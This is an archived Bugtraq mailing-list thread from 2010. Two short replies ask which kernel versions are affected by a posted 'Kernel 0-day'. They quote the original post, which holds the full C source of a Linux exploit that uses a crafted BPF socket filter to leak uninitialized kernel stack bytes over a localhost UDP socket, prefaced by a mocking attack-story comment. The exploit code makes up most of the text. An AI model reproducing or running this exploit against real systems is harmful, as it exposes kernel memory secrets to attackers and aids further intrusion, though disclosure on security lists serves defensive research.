[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <4CE4845A.7060708@gmail.com>
Date: Wed, 17 Nov 2010 23:41:46 -0200
From: Felipe Martins <martins.felipe.security@...il.com>
To: bugtraq@...urityfocus.com
Subject: Re: Kernel 0-day
Dan,
What kernel versions are vulnerable to this one ?
Felipe
On 10/11/2010 17:05, James Lay wrote:
> What kernel version(s) is/are impacted? Tried on one and no workie.
>
> James
>
>
> On 11/9/10 3:18 PM, "Dan Rosenberg"<dan.j.rosenberg@...il.com> wrote:
>
>> Enjoy...
>>
>> -Dan
>>
>>
>> /*
>> * You've done it. After hours of gdb and caffeine, you've finally got a
>> shell
>> * on your target's server. Maybe next time they will think twice about
>> * running MyFirstCompSciProjectFTPD on a production machine. As you take
>> * another sip of Mountain Dew and pick some of the cheetos out of your
>> beard,
>> * you begin to plan your next move - it's time to tackle the kernel.
>> *
>> * What should be your goal? Privilege escalation? That's impossible,
>> there's
>> * no such thing as a privilege escalation vulnerability on Linux.
>> Denial of
>> * service? What are you, some kind of script kiddie? No, the answer is
>> * obvious. You must read the uninitialized bytes of the kernel stack,
>> since
>> * these bytes contain all the secrets of the universe and the meaning of
>> life.
>> *
>> * How can you accomplish this insidious feat? You immediately discard
>> the
>> * notion of looking for uninitialized struct members that are copied
>> back to
>> * userspace, since you clearly need something far more elite. In order
>> to
>> * prove your superiority, your exploit must be as sophisticated as your
>> taste
>> * in obscure electronic music. After scanning the kernel source for good
>> * candidates, you find your target and begin to code...
>> *
>> * by Dan Rosenberg
>> *
>> * Greets to kees, taviso, jono, spender, hawkes, and bla
>> *
>> */
>>
>> #include<string.h>
>> #include<stdio.h>
>> #include<netinet/in.h>
>> #include<sys/socket.h>
>> #include<unistd.h>
>> #include<stdlib.h>
>> #include<linux/filter.h>
>>
>> #define PORT 37337
>>
>> int transfer(int sendsock, int recvsock)
>> {
>>
>> struct sockaddr_in addr;
>> char buf[512];
>> int len = sizeof(addr);
>>
>> memset(buf, 0, sizeof(buf));
>>
>> if (fork())
>> return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr,
>> &len);
>>
>> sleep(1);
>>
>> memset(&addr, 0, sizeof(addr));
>> addr.sin_family = AF_INET;
>> addr.sin_port = htons(PORT);
>> addr.sin_addr.s_addr = inet_addr("127.0.0.1");
>>
>> sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
>>
>> exit(0);
>>
>> }
>>
>> int main(int argc, char * argv[])
>> {
>>
>> int sendsock, recvsock, ret;
>> unsigned int val;
>> struct sockaddr_in addr;
>> struct sock_fprog fprog;
>> struct sock_filter filters[5];
>>
>> if (argc != 2) {
>> printf("[*] Usage: %s offset (0-63)\n", argv[0]);
>> return -1;
>> }
>>
>> val = atoi(argv[1]);
>>
>> if (val> 63) {
>> printf("[*] Invalid byte offset (must be 0-63)\n");
>> return -1;
>> }
>>
>> recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>> sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>>
>> if (recvsock< 0 || sendsock< 0) {
>> printf("[*] Could not create sockets.\n");
>> return -1;
>> }
>>
>> memset(&addr, 0, sizeof(addr));
>> addr.sin_family = AF_INET;
>> addr.sin_port = htons(PORT);
>> addr.sin_addr.s_addr = htonl(INADDR_ANY);
>>
>> if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr))< 0) {
>> printf("[*] Could not bind socket.\n");
>> return -1;
>> }
>>
>> memset(&fprog, 0, sizeof(fprog));
>> memset(filters, 0, sizeof(filters));
>>
>> filters[0].code = BPF_LD|BPF_MEM;
>> filters[0].k = (val& ~0x3) / 4;
>>
>> filters[1].code = BPF_ALU|BPF_AND|BPF_K;
>> filters[1].k = 0xff<< ((val % 4) * 8);
>>
>> filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
>> filters[2].k = (val % 4) * 8;
>>
>> filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
>> filters[3].k = 256;
>>
>> filters[4].code = BPF_RET|BPF_A;
>>
>> fprog.len = 5;
>> fprog.filter = filters;
>>
>> if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER,&fprog,
>> sizeof(fprog))< 0) {
>> printf("[*] Failed to install filter.\n");
>> return -1;
>> }
>>
>> ret = transfer(sendsock, recvsock);
>>
>> printf("[*] Your byte: 0x%.02x\n", ret - 248);
>>
>> }
>>
>
--
Felipe Martins<BR>
Security Analyst<BR>
E-mail: martins.felipe.security@...il.com<BR>
Skype: martins.felipe<BR>
Powered by blists - more mailing lists